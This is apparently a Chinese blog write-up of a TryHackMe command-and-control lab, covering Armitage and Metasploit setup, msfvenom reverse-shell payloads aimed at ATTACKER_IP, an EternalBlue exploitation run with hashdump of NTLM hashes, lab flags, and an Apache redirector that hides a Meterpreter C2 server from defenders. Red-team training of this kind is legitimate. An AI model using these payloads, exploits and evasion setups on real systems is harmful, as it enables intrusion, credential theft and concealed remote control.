Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Use the following connection details to connect your clients:
        Host: YourIP
        Port: 55553
        User: msf
        Pass: THM

[*] Fingerprint (check for this string when you connect):
        51a83ecb8d21a4d11598857ee9775fea17218f54
[+] I'm ready to accept you or other clients for who they are

image

一旦你的Teamserver(团队服务器)启动并运行,我们接下来就可以启动Armitage客户端,它可用于连接到Teamserver(团队服务器)并向用户显示GUI界面。

tips:另启一个终端。

#Starting Armitage
root@kali$ cd /opt/armitage/release/unix && ./armitage
[*] Used the incumbent: 10.10.205.47
[*] Starting Cortana on 10.10.205.47
[*] Remote Exploits Synced
[*] Starting Cortana on 10.10.205.47
[*] Creating a default reverse handler... 0.0.0.0:17230

在操作C2框架时,请记住永远不要泄露你所使用的C2管理界面或者C2服务器,你应该始终让C2服务器在其本地接口上进行监听,而不是在面向公众的接口上监听;但是,这也使得外部红队成员的访问变得更加复杂,幸运的是,针对这个问题我们有一个简单的解决方案——为了让外部红队成员能够访问C2服务器,你应该为他们创建新的用户帐户,并在C2服务器上启用SSH访问,这样他们就能够通过SSH端口转发的TCP/55553来访问C2服务器。

Armitage服务器明确拒绝用户在127.0.0.1上进行侦听,因为Armitage中的Teamserver本质上是一个带有“去冲突服务器”的共享Metasploit服务器,当多个用户连接到该服务器时,你并不会看到其他用户所看到的全部内容;因此,在使用Armitage服务器时,你必须在tun0或eth0 IP地址上进行侦听。

我们刚才已经启动了Armitage的Teamserver,因此我们可以继续通过以下界面连接到Teamserver:

image

点击“连接”并确认指纹后,系统会提示你输入昵称,你可以将其设置为任何你喜欢的称呼,只有你的红队操作员同事才能看到它(如果他们选择访问Teamserver的话)。

image

image

在等待一两分钟后,Armitage的UI(用户界面)应该将被打开,并将等待我们开始与远程目标系统进行交互;它现在看起来光秃秃的,在下文中,我们将会利用易受攻击的目标虚拟机来熟悉Armitage UI(用户界面)及其使用方式。

image

C2操作基础

访问并管理C2基础设施

现在我们对如何设置C2服务器有了一个大致的了解,我们将继续了解一些你在访问 C2 服务器时应该知道的基本操作细节。请务必注意,你不需要在此小节中执行任何操作——学习本节内容,是为了获得一般经验并熟悉命令和控制框架。

C2作战安全(OPSEC)基础

我们在上一节中简要地谈到了这一点,永远不要让你的C2管理界面(C2服务器的一部分)直接可访问,这主要是为了提高作战安全;因为对C2服务器进行指纹识别非常容易,例如,在3.13之前的版本中,Cobalt Strike C2服务器能够通过HTTP响应消息中的额外空格(0x20)来识别;基于这种策略,许多BlueTeamers(蓝队成员)可以识别所有可公开访问的3.13版本之前的Cobalt Strike C2服务器。

有关识别Cobalt Strike C2服务器的更多信息,请查看Recorded Future博客上发布的相关文章

image

image

我们应该尽可能降低C2的作战安全风险,如果这意味着你的C2服务器的管理界面不能被公开访问,那么无论如何,你都应该这样做。

访问正在本地监听的远程C2服务器

在此处,我们将重点介绍如何通过SSH端口转发来安全地访问C2服务器;如果你以前使用过SSH端口转发,那么你可以直接跳过这部分,因为你可能学不到任何新东西。

SSH端口转发允许我们通过将本地端口转发到远程服务器以在远程机器上托管资源,或者允许我们访问我们正在连接的远程机器上的本地资源。在某些情况下,使用SSH端口转发可能是为了绕过防火墙;而在我们本小节相关的实例中,这可能是出于C2作战安全的考虑。

image

既然我们已经更好地理解了为什么要使用SSH端口转发,那么就让我们来看看如何实现这一过程。

在进行C2设置时,Teamserver(团队服务器,即C2服务器)会在其本地主机(localhost)的TCP/55553上进行监听。为了访问远程端口55553,我们必须设置一个本地端口转发,将本地端口转发到远程Teamserver服务器。我们可以在我们的SSH客户端上使用-L参数标志:

#SSH Port Forward
root@kali$ ssh -L 55553:127.0.0.1:55553 root@192.168.0.44
root@kali$ echo "Connected"
Connected

我们已经设置了SSH远程端口转发,现在可以连接到运行在TCP/55553上的C2服务器。提醒一下,Armitage服务器不支持监听环回接口(127.0.0.1-127.255.255.255),所以这是一般的C2服务器管理建议,你会发现这个建议更适用于以下C2服务器:Covenant、Empire和其他C2服务器等。

我们强烈建议为那些选择侦听公共接口的C2服务器设置防火墙规则,以便只有预期的用户才能访问你的C2服务器,有很多方法可以做到这一点。如果你选择托管云基础设施,你可以设置一个安全组或使用基于主机的防火墙解决方案,如UFW或IPTables。

在Armitage中创建侦听器

接下来,我们将讨论所有C2服务器都具有的一个主题—创建侦听器。我们将演示如何使用Armitage建立一个基本的侦听器,然后探索你可能在各种其他C2框架中遇到的一些理论上的侦听器。

让我们创建一个运行在TCP/31337上的基本Meterpreter Listener:首先,点击C2 GUI中的Armitage下拉菜单,然后转到“Listeners”部分;你应该可以看到三个选项-Bind、Reverse和set LHOST;Bind指Bind shell(绑定shell),如果选择Bind,意味着你必须主动连接到受害主机,而Reverse指的是标准的反向shell,这才是我们将要使用的选项。

image

单击“Reverse”后,则将打开一个新菜单,这会提示你配置有关侦听器的一些基本细节,特别是你想要侦听的端口和你想要选择的侦听器类型。我们有两个选项可供选择-“Shell”或“Meterpreter”,Shell指的是标准的netcat风格的反向Shell,而Meterpreter则是标准的Meterpreter反向Shell。

image

完成配置并按下回车键后,将会在GUI底部打开一个新的窗格,可确认监听器已创建成功,窗格内容看起来像标准的Metasploitexploit/multi/handler模块。

image

设置好监听器后,你可以使用MSFvenom生成的标准windows/meterpreter/reverse_tcp反向shell Payload,并将LHOST设置为Armitage服务器地址 以接收对于我们的Armitage服务器的回调。

获取回调

使用MSFVenom生成Payload(有效载荷):

#MSFVenom Payload Generation
root@kali$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=31337 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

在使用MSFVenom生成windows/meterpreter/reverse_tcp类型的Payload之后,我们可以将有效载荷转移到目标机器上并执行它;在一段时间之后,你应该会在Armitage服务器上收到来自于目标机器的回调。

image

侦听器类型

如前所述,标准的反向shell侦听器并不是我们使用C2时的唯一选择,在不同C2框架中还存在许多基于不同的协议的侦听器变种,我们接下来会简单介绍一些常见的侦听器类型。

标准侦听器

标准侦听器通常通过原始的TCP或UDP套接字直接通信,这将以明文形式发送命令,Metasploit完全支持这种通用侦听器。

HTTP/HTTPS 侦听器

此类型的侦听器通常可作为某种Web服务器的前端,并使用域名前置或可扩展的C2配置文件等技术来掩盖C2服务器;当专门使用HTTPS进行通信时,通信被NGFW阻止的可能性较小。Metasploit完全支持这种HTTP/HTTPS侦听器。

DNS 侦听器

DNS侦听器是一种流行的技术,专门用于需要设置额外的"红队基础设施"的渗透阶段,或者至少必须购买和注册域名,并且必须配置公共NS(Name Server)服务器。

我们也可以借助其他工具在Metasploit中设置DNS C2操作,如果想了解更多信息,请参阅Alexey Sintsov和Maxim Andreyanov的"Meterpreter over DNS"演讲,DNS侦听器通常对于绕过网络代理非常有用。

SMB 侦听器

通过SMB命名管道进行通信是一种流行的选择,特别是在处理受限制的网络时,它通常可以实现更灵活的跳板,能够让多个设备相互通信,其中只有一个设备将通过更通用的协议(如HTTP/HTTPS)返回消息。Metasploit完全支持使用SMB命名管道。

答题

阅读本小节内容,回答以下问题:

image

命令、控制与攻克

Armitage-主机枚举

在实践操作之前,我们将演示如何使用C2针对一个示例的目标虚拟机进行漏洞利用。首先,我们将在Armitage中执行端口扫描,方法是转到Armitage图形用户界面中的“Hosts”部分,将鼠标悬停在“Nmap scan”上,并选择“Quick scan”。

image

在选择“Quick scan-快速扫描”后,会弹出一个新的选项框,这将提示你输入要扫描的IP地址范围,你应该在此框中输入已部署的虚拟机的IP地址。

image

在按下“Ok”键并等待片刻之后,你应该会看到一个名为“nmap”的新选项卡打开,而且会在Armitage 的“工作区”窗口中显示一台新机器;在“nmap”选项卡中,你将看到原始扫描结果。

image

现在你已经了解了如何执行基本端口扫描,你可以尝试对目标执行各种其他扫描,并查看你可以从目标主机获取到哪些额外信息。

提示:如果使用全面扫描,则将抓取目标的横幅(banner)、枚举软件版本、枚举操作系统版本,以及更多。

Armitage-漏洞利用

接下来,我们将使用Armitage展示如何进行漏洞利用,在本节示例中,我们的受害者是一台Windows 7机器,这台机器容易受到经典漏洞"永恒之蓝"的攻击。我们将重点放在Armitage用户界面中最左边的文件夹选项卡,我们将展开“Exploit”下拉菜单,然后找到“Windows”下拉菜单,然后是“SMB”下拉菜单,然后你将看到所有相关的漏洞exp。

image

接下来,你可以双击所选择的漏洞exp,或者将漏洞exp拖放到目标主机上,这将打开一个新窗口,然后我们可以点击“launch”以启动该漏洞exp。

image

点击“launch”后,你会注意到Armitage界面底部会打开一个“Exploit”窗口,Armitage将开始运行Metasploit通常会执行的常规检查。在执行“永恒之蓝”漏洞exp的示例中,Armitage会首先运行标准的检查脚本,然后再运行相关的漏洞利用脚本,直到它获得一个成功的shell。值得注意的是,这个漏洞exp默认选择了使用Bind shell;在实际执行漏洞exp时,请确保你充分了解了漏洞利用信息和Payload选项,然后再确定使用绑定Shell还是反向Shell。

image

成功获得一个shell后,你可以右键单击主机并选择“Interact-交互”,这将打开一个你熟悉的标准shell。如果你想获得一个Meterpreter shell,那么你可以选择运行multi/manage/shell_to_meterpreter模块。

image

练习示例

现在你将通过使用Metasploit和Armitage攻击目标虚拟机来练习你的技能。你可以遵循多个漏洞利用路径,你可以探索你可能找到的各种利用路径,以便更好地理解Metasploit和Armitage中的漏洞利用模块和后渗透模块。提醒一下,Armitage只是带有GUI的Metasploit,Metasploit所拥有的所有漏洞exp都可以在Armitage中找到,并且会以相同的方式进行漏洞exp分类。

使用Metasploit

在TryHackMe实验房间中启动目标机器,然后在攻击机上启动Metasploit:

#Launching Metasploit and using Eternal Blue!
root@attackbox$ msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST ens5
LHOST => ens5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.10.41.34
RHOST => 10.10.41.34
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.205.47:4444 
[*] 10.10.41.34:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.41.34:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7600 x64 (64-bit)
[*] 10.10.41.34:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.41.34:445 - Connecting to target for exploitation.
[+] 10.10.41.34:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.41.34:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.41.34:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Attack Box的IP:

image

目标虚拟机IP:

image

使用Metasploit进行渗透:

image

现在我们已经渗透了目标虚拟机并实现了系统级别的访问,我们可以使用hashdump命令来检索用户的NTLM哈希值:

#Running Hashdump
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c156d5d<snip!>4d6e0943c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93<snip!>d7e0c089c0:::
Ted:1001:aad3b435b51404eeaad3b435b51404ee:2e2618f266da8867<snip!>5c1309a5c:::
meterpreter >

image

最后我们需要在用户的主文件夹中检索flag:

#Collecting our flags!
meterpreter > cat C:/Users/Administrator/Desktop/root.txt
THM{bd6ea6c87<snip!>21081132744}
meterpreter > cat C:/Users/Ted/Desktop/user.txt
THM{217fa45e3<snip!>fc0be28e760}

image

使用Armitage

刚才我们使用Metasploit完成了练习示例,如果想使用Armitage来攻击目标虚拟机,可以参考以下文档:

https://drive.google.com/file/d/1u-YmWl7cx3tO2vVjon0EtOGLXVCak2SJ/view

扫描目标虚拟机

image

image

对目标虚拟机执行漏洞利用

  1. 在“模块”部分底部的搜索栏中搜索“Eternal Blue”(永恒之蓝),或者在exploit文件夹中自行查找;
  2. 将“MS17_010_EternalBlue”拖放到目标机的PC图标上;
  3. 勾选“使用反向shell连接”;
  4. 点击“启动”。

image

升级Shell到Meterpreter

  1. 等待漏洞利用完成
  2. 在搜索栏中输入“shell_to_meterpreter”模块
  3. 将“shell_to_meterpreter”拖放到已加载的机器上
  4. 验证正确的SESSION
  5. 点击“启动”

image

image

转储Hash值

  1. 验证Meterpreter迁移完成
  2. 搜索“Hashdump”模块
  3. 将会话从1调整为2
  4. 点击“启动”

image

image

收集flag

在转储Hash值操作完成之后,选择生成一个交互式shell并收集flag即可。

image

image

答题

root.txt:THM{bd6ea6c871dced619876321081132744} 。

Administrator NTLM:c156d5d108721c5626a6a054d6e0943c

user.txt:THM{217fa45e35f8353ffd04cfc0be28e760} 。

Ted NTLM:2e2618f266da8867e5664425c1309a5c

image

C2的高级设置

正如你可能已经猜到的那样,Metasploit本身并不适合用作高级攻击者所操作的C2服务器,因为它不像人们所希望的那样灵活,你也不能将Metasploit中的代理配置为每隔X秒发出Y jitter的Beacon(信标)报文。下一代防火墙可以快速捕捉到Metasploit中的这种C2流量,因为它是一个持续不断的流量;此外,任何人都可以连接到Metasploit所设置的HTTP/HTTPS侦听器,并可以相对快速地了解正在发生的事情。

C2重定向器

什么是重定向器?

在我们开始配置重定向器之前,首先,我们要知道它是什么?

顾名思义,重定向器是一个能够基于HTTP请求主体内的信息来“重定向”HTTP/HTTPS请求的服务器。在生产环境下的系统中,你可能会看到以负载均衡器形式出现的“重定向器”。这种服务器通常可运行Apache 2或NGINX,在本小节中,我们将利用Apache和它的一些模块来构建一个Redirector(重定向器)。

回到Metasploit,我们可以基于Metasploit设置一些基本配置,以便在本小节中进行更高级的配置——设置一个重定向器。通常,这种配置需要在多个主机上进行设置,这样做的目的是隐藏真正的命令和控制(C2)服务器。下图说明了在配置重定向器之后,受害者与C2服务器之间的通信是如何发生的。

image

通常,当你有一个C2回调时,你可以将回调主机设置为一个域,例如admin.tryhackme.com。在攻防演练中,用户在提交投诉时,报告恶意C2服务器是很常见的,这意味着隐蔽性差的C2服务器可能很快就会被关闭,少则3小时,多则24小时;而通过设置重定向器可以确保我们在攻防演练期间收集的任何信息更加安全可靠(因为这样可以保证我们的C2服务器具有一定隐蔽性,不会被轻易关闭而失去收集到的信息)。

红队应该如何阻止C2服务器被关闭呢?如果蓝队在你的C2服务器上发现了Cobalt Strike的指纹,那么就会提出投诉,然后你的C2服务器就会被关闭。所以红队应该设置防火墙规则,只允许重定向器与C2服务器进行通信,以减轻任何潜在的被蓝队标记的风险。

image

如何设置重定向器

在我们深入配置重定向器之前,我们必须首先了解如何设置重定向器;我们需要将重定向器与现有的Metasploit和Apache2工具结合起来。

在Apache中,我们主要将利用一个名为“mod_rewrite”的模块(或者Rewrite模块),该模块允许我们编写规则,以根据特定的HTTP头或内容将请求转发到服务器上的内部或外部主机。

我们需要使用以下几个模块来设置我们的重定向器(以下模块必须启用):

  • rewrite
  • proxy
  • proxy_http
  • headers

注意:如果你使用的是TryHackMe实验房间所提供的Attack Box,那么该机器上已经有一个服务在80端口上运行了——你需要在/etc/apache2/ports.conf中修改Apache所监听的默认端口;你必须在启动Apache 2服务之前这样做,否则Apache 2服务将无法启动。

你可以安装apache 2并使用以下命令启用它:

#Enabling Modules and Starting Apache2
#####
root@kali$ apt install apache2
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  python-bs4 python-chardet python-dicttoxml python-dnspython python-html5lib
  python-jsonrpclib python-lxml python-mechanize python-olefile python-pypdf2
  python-slowaes python-webencodings python-xlsxwriter
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  apache2-bin apache2-data apache2-utils libaprutil1-dbd-sqlite3
  libaprutil1-ldap
Suggested packages:
  apache2-doc apache2-suexec-pristine | apache2-suexec-custom
The following NEW packages will be installed
  apache2 apache2-bin apache2-data apache2-utils libaprutil1-dbd-sqlite3
  libaprutil1-ldap
0 to upgrade, 6 to newly install, 0 to remove and 416 not to upgrade.

Processing triggers for systemd (237-3ubuntu10.42) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Processing triggers for ufw (0.36-0ubuntu0.18.04.1) ...
Processing triggers for ureadahead (0.100.0-21) ...

#####
root@kali$ a2enmod rewrite && a2enmod proxy && a2enmod proxy_http && a2enmod headers && systemctl start apache2 && systemctl status apache2
Enabling module rewrite.
To activate the new configuration, you need to run:
  systemctl restart apache2
Enabling module proxy.
To activate the new configuration, you need to run:
  systemctl restart apache2
Enabling module proxy_http.
To activate the new configuration, you need to run:
  systemctl restart apache2
Enabling module headers.
To activate the new configuration, you need to run:
  systemctl restart apache2

● apache2.service - The Apache HTTP Server
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
     Active: active (running) since Thu 2022-02-10 23:17:08 EST; 7ms ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 4149 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
   Main PID: 4153 (apache2)
      Tasks: 1 (limit: 19072)
     Memory: 6.0M
        CPU: 19ms
     CGroup: /system.slice/apache2.service
             └─4153 /usr/sbin/apache2 -k start

使用Meterpreter,我们能够配置HTTP请求的各个方面,例如User-Agent,威胁参与者对其C2的HTTP/HTTPS有效载荷中的User-Agent进行轻微调整是非常常见的。

User-Agent存在于每个HTTP请求中,它们或多或少看起来都是一样的,安全分析人员很有可能会忽略经过修改的User-Agent字符串;在本小节的演示中,我们将使用MSFvenom生成一个Meterpreter反向HTTP有效载荷,然后我们将在Wireshark中检查相关的HTTP请求数据包。

生成带有已修改报头的有效载荷

#Generating a Modified HTTP Payload with Meterpreter
root@kali$ msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 454 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

生成如上所示的Payload文件,并将其传输给受害者机器,然后在你的攻击机上打开Wireshark并使用HTTP过滤器只查看HTTP请求;当Wireshark开始捕获数据包之后,在受害者系统上执行刚才所传输的Payload文件,然后你将在攻击机的Wireshark中注意到一个HTTP请求会带着我们修改过的User-Agent。

image

现在我们有了一个可以在HTTP请求中控制的字段,让我们创建一个Apache2 mod_rewrite规则,该规则将过滤用户代理“NotMeterpreter”,并将相关的数据包转发到Metasploit C2服务器。

修改Apache配置文件

我们将修改默认的Apache配置,在基于Debian的操作系统中,Apache默认配置可以在/etc/apache2/sites-available/000-default.conf中找到。

#Default Apache2 Config——Apache2默认配置
root@kali$  cat /etc/apache2/sites-available/000-default.conf  | grep -v '#'
<VirtualHost *:80>

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        <Directory>
                AllowOverride All
        </Directory>

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

现在我们可以大致了解Apache2配置文件的结构,我们必须在配置文件中添加几行代码来启用Rewrite引擎,添加rewrite条件,最后通过Apache2代理。这听起来相当复杂,但其实很简单。

要启用Rewrite Engine,我们必须在Apache2配置文件的VirtualHost部分的新行中添加RewriteEngine On

现在我们将使用针对HTTP User-Agent的Rewrite(重写)条件,有关HTTP请求目标的完整列表,请参阅Apache.org上的mod_rewrite文档

因为我们只想匹配用户代理“NotMeterpreter”,所以我们需要使用一些基本的正则表达式来捕获它,加一个^表示字符串的开始,加一个$表示序列的结束,我们得到的正则表达式为“^NotMeterpreter$”,这个正则表达式将只捕获名称为“NotMeterpreter”的用户代理。我们可以将以下这行添加到我们的配置文件中(如前所述),这将只允许使用“NotMeterpreter”用户代理的HTTP请求访问Metasploit C2服务器。

RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"

最后,我们必须通过Apache2(使用代理)将请求转发给Metasploit C2服务器,要做到这一点,我们必须使用Apache的mod_proxy模块的ProxyPass功能。

我们还需要指定请求将被转发到的基本URI(在我们的示例中,使用“/”即可),以及指定我们希望将请求转发到的目标IP地址,这将因不同的设置而异,但此IP地址将对应你的C2服务器(在本小节的示例场景中,这将会是Metasploit正在监听的localhost和端口)。

我们修改好的Apache2配置文件将如下所示:

root@kali$  cat /etc/apache2/sites-available/000-default.conf  | grep -v '#'

<VirtualHost *:80>

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	RewriteEngine On
	RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
	ProxyPass "/" "http://localhost:8080/"

	<Directory>
		AllowOverride All
	</Directory>

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

设置Exploit/Multi/Handler

为了正确设置Meterpreter,我们还需要做一些修改:

我们必须将LHOST参数设置为我们所期望连接的传入接口(在本示例中为127.0.0.1),在现实世界中,这个参数会是你的重定向器将连接到的公共接口(你的C2服务器的公共IP地址);我们可以将LPORT参数设置为任意端口号(在本示例为TCP/8080),端口设置的最佳实践是基于标准协议运行对应服务,因此HTTP应该在端口80上运行,而HTTPS应该在端口443上运行;刚才提及的LHOST和LPORT,也需要为ReverseListenerBindAddressReverseListenerBindPort所设置。

接下来,我们需要设置OverrideLHOST,这将是你的重定向器的IP地址或域名;我们需要设置OverrideLPORT,这将是HTTP或HTTPS在重定向器上运行所对应的端口号;最后,我们还必须将OverrideRequestHost参数设置为true,这将使Meterpreter响应OverrideHost的信息,因此所有查询都将通过Redirector而不是你的C2服务器。

#Metasploit Redirector
root@kali$ msfconsole
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf6 exploit(multi/handler) > set ReverseListenerBindPort 8080
ReverseListenerBindPort => 8080
msf6 exploit(multi/handler) > set OverrideLHOST 192.168.0.44
OverrideLHOST => 192.168.0.44
msf6 exploit(multi/handler) > set OverrideLPORT 80
OverrideLPORT => 80
msf6 exploit(multi/handler) > set HttpUserAgent NotMeterpreter
HttpUserAgent => NotMeterpreter
msf6 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf6 exploit(multi/handler) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:8080
[*] http://127.0.0.1:8080 handling request from 127.0.0.1; (UUID: zfhp2nwt) Staging x86 payload (176220 bytes) ...
[*] Meterpreter session 3 opened (127.0.0.1:8080 -> 127.0.0.1 ) at 2022-02-11 02:09:24 -0500

在这一切都设置好之后,你现在运行的Meterpreter反向Shell应该会通过你的重定向器代理所有通信。提醒一下,在实际的攻防演练中,你将需要使用多个主机和DNS记录而不是IP地址。

image

答题

阅读本小节内容,回答以下问题。

msfvenom -p windows/meterpreter/reverse_http --list-options

image

image

image

总结

简单回顾

通过学习本文内容,我们大概了解了基础的关于命令和控制(C2)框架的知识,我们还应该希望将这些知识应用到现实世界中。归根结底,每个红队操作员都应该习惯于使用命令和控制(C2)框架,C2是每个RedTeamer(红队成员)工具包的重要组成部分,请积极探索本文未涵盖或者未提及的其他C2框架。

如何选择使用C2框架

在完成本文学习之后,你可能还会有一些问题想要了解,其中一个问题可能是“我如何知道在我的红队操作中选择什么C2框架?”,但是这个问题其实并没有正确或错误的答案,只有几个你应该首先回答的一般性问题:

  • 你的目标是什么?
  • 你有经费预算吗?
  • 你是否需要一些高度可定制的东西?
  • 是否有必要对现成的AV(反病毒软件)进行规避?你是否需要使用能够创建自己的模块/脚本的C2?
  • 你是否需要C2能够提供内置的报告?

然后,你应该带着以上这些问题来查阅C2矩阵电子表格,并根据上述问题缩小你的C2选择范围;如果你在表格中发现了一个高级C2框架符合你的标准,那么强烈建议你进行评估/试用,以确定该C2框架是否适合。

posted @ 2023-04-23 15:27  Hekeatsll  阅读(2199)  评论(1编辑  收藏  举报